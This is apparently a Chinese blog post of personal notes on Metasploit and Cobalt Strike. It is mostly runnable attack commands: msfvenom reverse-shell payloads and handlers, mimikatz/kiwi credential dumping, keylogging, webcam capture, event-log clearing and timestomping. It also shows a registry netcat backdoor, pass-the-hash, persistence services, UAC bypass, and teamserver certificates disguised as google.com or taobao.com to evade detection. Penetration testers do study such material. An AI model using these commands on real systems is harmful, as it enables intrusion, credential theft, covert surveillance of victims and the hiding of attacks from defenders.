u1timate
发布于 2021-08-15 / 2,262 阅读
0

metasploit与cobaltstrike使用笔记

[toc]

0x01.MSF

1.模块介绍

Auxiliaries

该模块是辅助模块,只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
image.png

Exploit

该模块是漏洞利用模块,利用一个系统、应用程序或者服务中的安全漏洞进行的攻击行为,包含了攻击者或者测试人员针对系统中的漏洞而设计的各种POC验证程序,每个漏洞都有相应的攻击代码

Payload

该模块是攻击载荷模块,是我们期望目标系统在被攻击后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统运行任意命令或者执行特定代码。

Post

该模块为后渗透模块,主要用于在取得目标系统远程控制权全后,进行一系列的后渗透攻击动作,如获取敏感信息,实施跳板攻击等。

Encoders

该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙等安全软件检测出来。

2.基本命令

基本系统命令

sessions    #sessions –h 查看帮助
sessions -i <ID值>  #进入会话   -k  杀死会话
background  #将当前会话放置后台
run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程    kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown   #重启/关机
shell #进入目标机cmd shell

uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘

webcam摄像头命令

webcam_list  #查看摄像头
webcam_snap   #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

execute执行文件

execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

migrate进程迁移

getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
kill <pid值>   #杀死进程

clearav清除日志

clearav  #清除windows中的应用程序日志、系统日志、安全日志

基本文件系统命令

getwd 或者pwd # 查看当前工作目录  
ls
cd
search -f *pass*       # 搜索文件  -h查看帮助
cat c:\\lltest\\lltestpasswd.txt  # 查看文件内容
upload /tmp/hack.txt C:\\lltest  # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件  没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2  #只能在当前目录下创建文件夹
rmdir lltest2  #只能删除当前目录下文件夹
getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
lcd /tmp   #操作攻击者主机 切换目录

timestomp伪造时间戳


timestomp C:// -h   #查看帮助
timestomp -v C://2.txt   #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

基本网络命令

ipconfig/ifconfig
netstat –ano
arp
getproxy   #查看代理信息
route   #查看路由

portfwd端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

autoroute添加路由

run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由

#然后可以利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问

3.msf的rc文件编写

可将常用的配置写入该文件,在启动的时候会自动加载

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp set lhost 你需要的ip
set lport 你需要的端口
exploit -j

使用

msfconsole -r test.rc

4.ms17-010测试

  • 使用辅助模块对目标进行扫描
    image.png
  • 发现存在问题服务端口,使用EXP模块进行渗透,配置的时候需要选择的payload
    image.png

5.生成payload

使用msfvenom生成需要的payload,这里我们使用tcp协议进行反向shell
注意,mefvenom生成的payload必须与msfconsole中的payload一致,否则后门运行的时候会出现错误


#查看可用的payload
msfvenom --list payload 

# 查看字段payload的选项
msfvenom -p windows/meterpreter/reverse_tcp --list-options

# 查看可用的输出格斯
msfvenom --list format

# 查看可用的编码器,通过这些编码器可以绕过某些安全防护软件
msfvenom --list encoder

# 查看该payload 支持的平台
 msfvenom -p windows/meterpreter/reverse_tcp --list platforms
 
 # 查看该payload支持的架构
 msfvenom -p windows/meterpreter/reverse_tcp --list archs

# 生成windows下x64的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=0.0.0.0 -f exe  -o  payload.exe
  • 启动msf监听反弹shell
use exploit/multi/handler
# 可以指定pyload,也可以使用默认的
set payload ....

# 最后进行监听
exploit -j  后台监听

# 也可以直接使用handler命令实现相同效果
msf5 > handler -p windows/x64/..._tcp -P 4444 -H 192.168.5.1  //直接在后台启动监听任务

image.png

  • 等待会话
    image.png
  • 切换到指定会话
sessions 32

# 进入shell
shell

# windows设置中文乱码
chcp 65001 这条语句即可解决

image.png

  • 截图
screenshot

image.png

  • 开启3389,使用vnc连接
# 使用mimikatz获取密码
# 进入session
load mimikatz  #注意新版本的msf已经使用kiwi代替

# 启用后渗透模块开启3389
use post/windows/manage/enable_rdp

image.png
开启成功
image.png

kiwi命令大全

由于mimikaze在msf中被kiwi替代了
meterpreter kiwi命令大全
显示帮助信息

help kiwi
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

常用参数:

creds_all:读取Windows明文密码
kiwi_cmd: 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz 的命令
  • 会话进入后台
bg

6.msf使用https

  • 生成ssl证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
  • 使用msfvenom生成带有https证书的payload
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.199.156 lport=4444
PayloadUUIDTracking=true HandlerSSLCert=server.pem PayloadUUIDName=qqy  -f exe -
o payload.exe

payloaduuidtracking是为了验证payload唯一性方式防止目标恶意重连(影响不大,开启数据库才会生效)
handlersslcert是用来指定刚才生成的ssl证书
payloaduuidname是指定uuid的名称

  • msfconsole中使用https监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_https set lhost 你的ip
set lport 你的端口
set handlersslcert ssl证书地址
exploit -j

7.msf使用ngrock前置

ngrock官网地址:https://ngrok.com/pricing

  • 生成通道
./sunny clientid 你的clientid
  • 使用msfvenom生成ngrock的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=****
lport=10040 -f exe -o ngrock_payload.exe
  • 生成ngrock的监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 5555
exploit -j

这里的lhost设置为了127.0.0.1是因为ngrock已经指向了你的ip地址了 lport设置为转发的端口即可

8.msf与钉钉联动

  • 创建群
  • 创建群机器人
  • 复制webhook
  • msf中代开钉钉通知
load session_notifier 
set_session_dingtalk_webhook 自己的webhook地址 start_session_notifier

9.后渗透常用模块收集

信息收集

信息收集的脚本位于:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

常用的收集脚本

run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控

提权

  • getsystem提权
    getsystem
    getsystem工作原理

    • getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
    • getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
    • Windows服务已启动,导致与命名管道建立连接。
    • 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌
    • 然后用新收集的SYSTEM模拟令牌产生cmd.exe,这样我们有一个SYSTEM特权进程。
  • bypassuac
    内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
  • 内核漏洞提权
    可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

远程桌面&截屏

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接

开启rdp&添加用户

run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

**getgui 系统不推荐,**推荐使用run post/windows/manage/enable_rdp

getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

  • enable_rdp脚本
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662	#将3389端口转发到6662

通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

键盘记录

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

sniffer抓包

meterpreter> use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

注册表操作

注册表基本命令

reg –h
    -d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
    enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据

注册表设置nc后门

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值

nc -v 192.168.159.144 443  #攻击者连接nc后门

令牌操纵

incognito假冒令牌

use incognito      #help incognito  查看帮助
list_tokens -u    #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
或者直接shell
rev2self   #返回原始token

steal_token窃取令牌

steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token  #删除窃取的token

哈希利用

获取哈希

run post/windows/gather/smart_hashdump  #从SAM导出密码哈希
#需要SYSTEM权限

PSExec哈希传递

通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件**:①开启445端口 smb服务;②开启admin$共享**

msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain  WORKGROUP   #域用户需要设置SMBDomain
msf >exploit

后门植入

persistence启动项后门

在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

run persistence –h  #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

连接后门

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

metsvc服务后门

C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dllmetsvc-server.exemetsvc.exe),通过服务启动,服务名为meterpreter

run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门

连接后门

msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit

0x02.cs

1.使用

  • 启动cs
# 启动teamserver服务器,这里很多待优化项目,尤其是指纹相关的配置
sudo ./teamserver 10.0.2.15 123456
[sudo] password for kali:
[*] Will use existing X509 certificate and keystore (for SSL)
[+] Team server is up on 0.0.0.0:50050
[*] SHA256 hash of SSL cert is: 66fd64b57c9289e3bd0b4b6e63693375ce8e70e8f487aa5be087340ec859b43a
  • 添加监听器
    image.png

image.png

  • 生成windows exe payload
    image.png

  • cs成功获取会话
    调用interact 设置任务sleep 为1。心跳间隔时间,越短操作越流畅

beacon> sleep 1

image.png

  • 使用mimikaza获取用户信息
    image.png

  • 使用第三方插件获取系统权限
    image.png

完成权限提升
image.png

2.插件推荐

3.与server酱联动

https://sct.ftqq.com/

  • 申请API
  • 编写插件,生成http_ftqq.cna文件
# 循环获取所有beacon on 
beacon_initial {
        sub http_get {
                local('$output');
                $url = [new java.net.URL: $1];
                $stream = [$url openStream];
                $handle = [SleepUtils getIOHandle: $stream, $null];
                @content = readAll($handle);
                foreach $line (@content) {
                        $output .= $line . "\r\n";
}
                println($output);
}
#获取ip、计算机名、登录账号
$internalIP = replace(beacon_info($1, "internal"), " ", "_"); $userName = replace(beacon_info($1, "user"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
#get一下Server酱的链接
        $url =
'https://sc.ftqq.com/xxxxx.$computerName;
http_get($url);
}
  • 在CS中加载插件

0x03.cs与msf

1.msf转cs

  • 还是新建一个监听器,设置模块为beacon HTTP
    image.png

  • 接下来把kali上获得的meterpreter会话转发到cobaltstrike主机上

  • 这里我们需要用到一个exploit模块:

exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.195.213
set lport  8080
set  session 4
run

image.png
cs获取到会话
image.png

2.cs转msf

配置一个监听器,设置模块为Foreign HTTP
image.png

配置好后在上线的主机上右击Spawn(增加会话),选择Foreign HTTP监听模块,
image.png

等待一个心跳时间之后,msf监听那边就会接收到会话
image.png

0x04.CS生产设置

1.修改默认端口

编辑teamserver文件

-Dcobaltstrike.server_port=5555 这里可以修改默认端口

2.修改teamserver证书

  • 默认证书为cobaltstrike.store
# 查看证书信息
keytool -list -v -keystore cobaltstrike.store

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true 输入密钥库口令:
密钥库类型: JKS
密钥库提供方: SUN
您的密钥库包含 1 个条目
别名: taobao.com
创建日期: 2020年12月15日
条目类型: PrivateKeyEntry
证书链长度: 1
证书[1]:
所有者: CN=US, OU=”taobao.com“, O=“Sofatest”, L=Beijing, ST=Cyberspace, C=CN 发布者: CN=US, OU=”taobao.com“, O=“Sofatest”, L=Beijing, ST=Cyberspace, C=CN 序列号: 6d82294d
生效时间: Tue Dec 15 21:27:06 EST 2020, 失效时间: Mon Mar 15 22:27:06 EDT 2021 证书指纹:
         SHA1: 45:35:59:9A:98:23:5D:C0:48:69:3C:17:72:83:6A:5B:5B:DA:2A:6F
SHA256: 31:2B:F7:8F:50:7A:22:18:90:85:B5:A8:D4:C5:E6:C3:F0:44:2A:FE:18:8D:9E:D5:47:C7:B0 :6D:AC:2A:11:86
签名算法名称: SHA256withRSA
主体公共密钥算法: 2048 位 RSA 密钥
版本: 3
扩展:
0010: 14 43 28 2F
]
]
*******************************************
*******************************************
Warning:
JKS 密钥库使用专用格式。建议使用 "keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12" 迁移到 行业标准格式 PKCS12。
  • 生成新的证书
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -
keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere,
ST=Cyberspace, C=CN"
  • 最后重命名替换原有文件

使用自己的证书

  • 申请免费的ssl证书
  • 使用证书

pem格式

openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out
api.xxx.com.p12 -name api.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore
api.xxx.com -src
  • 添加到teamserver中
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=40120 -
Djavax.net.ssl.keyStore=./api.xxx.com.store
  • 添加到profile文件中
https-certificate {
     set keystore “api.xxx.com.store”;
     set password “123456”;
}

jks格式

  • 直接修改profile文件
### Code Signing Certificate
code-signer {
set keystore "server.jks";### 这里是jks文件路径 set password "Tz8";### 这里是密码 set alias "server";
}

crt格式

$ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore
domain.store
$ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore
domain.store

3.修改proofile文件

修改该文件目的是为了隐藏修改cs的数据特征

  • 检查profile文件是否可用
    ./c2lint profile文件

参考

后渗透之meterpreter使用攻略